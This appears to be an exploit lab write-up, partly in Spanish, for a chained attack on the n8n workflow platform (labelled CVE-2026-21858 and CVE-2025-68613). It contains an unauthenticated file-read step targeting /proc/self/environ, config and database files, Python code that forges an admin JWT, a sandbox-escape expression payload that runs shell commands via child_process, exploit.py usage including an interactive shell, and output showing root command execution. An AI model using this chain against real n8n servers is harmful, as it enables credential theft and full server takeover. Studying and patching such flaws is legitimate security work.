┌───────────────────────────────────────────────────────────┐
│                     SIN AUTENTICACIÓN                     │
├───────────────────────────────────────────────────────────┤
│  1. Leer /proc/self/environ → Encontrar directorio HOME   │
│  2. Leer $HOME/.n8n/config → Obtener encryptionKey        │
│  3. Leer $HOME/.n8n/database.sqlite → Obtener creds admin │
├───────────────────────────────────────────────────────────┤
│                      FORJA DE TOKEN                       │
├───────────────────────────────────────────────────────────┤
│  4. Derivar secreto JWT desde encryptionKey               │
│  5. Forjar cookie de sesión admin                         │
├───────────────────────────────────────────────────────────┤
│                    RCE AUTENTICADO                        │
├───────────────────────────────────────────────────────────┤
│  6. Crear flujo de trabajo con inyección de expresiones   │
│  7. Bypass de sandbox mediante this.process.mainModule.require │
│  8. Ejecutar comandos arbitrarios                         │
└───────────────────────────────────────────────────────────┘

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

// ANTES (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// DESPUÉS (corregido)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}